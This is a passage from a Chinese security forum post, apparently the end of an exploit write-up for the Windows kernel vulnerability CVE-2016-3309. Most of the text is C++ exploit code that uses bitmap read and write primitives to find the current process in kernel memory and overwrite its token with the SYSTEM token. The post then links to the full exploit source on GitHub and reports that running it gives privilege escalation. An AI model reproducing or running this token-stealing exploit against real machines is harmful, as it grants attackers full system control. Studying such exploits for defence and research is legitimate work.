		if (!BitMapRead_CVE_2016_3309(ulEprocess + dwLinkOffset,
			(PBYTE)&ulEprocess, sizeof(ULONG64)))
		{
			bRet = FALSE;
			goto exit;
		}

		ulEprocess = ulEprocess - dwLinkOffset;

		if (!BitMapRead_CVE_2016_3309(ulEprocess + dwPIDOffset,
			(PBYTE)&ulPID, sizeof(ULONG64)))
		{
			bRet = FALSE;
			goto exit;
		}
	} while (ulPID != ulCurPID);

	if (!BitMapWrite_CVE_2016_3309(ulEprocess + dwTokenOffset, (PBYTE)&ulSystemToken, sizeof(ULONG64)))
	{
		bRet = FALSE;
		goto exit;
	}

exit:
	return bRet;
}

ULONG64 GetSystemEprocess_CVE_2016_3309()
{
	ULONG64 ulSystemAddr = GetSystemProcess();

	if (!ulSystemAddr)
	{
		goto exit;
	}

	ULONG64 ulSystemEprocess = 0;

	if (!BitMapRead_CVE_2016_3309(ulSystemAddr,
				      (PBYTE)&ulSystemEprocess,
				      sizeof(ULONG64)))
	{
		goto exit;
	}

exit:
	return ulSystemEprocess;
}

完整的exp地址保存在:https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2016-3309.cpp。运行程序,可以看到提权成功:

五.参考资料


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2022-8-6 10:39 被1900编辑 ,原因:
收藏
点赞5
打赏
分享
打赏 + 100.00雪花
打赏次数 1 雪花 + 100.00
 
赞赏  Editor   +100.00 2022/06/27 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (0)
游客
登录 | 注册 方可回帖
返回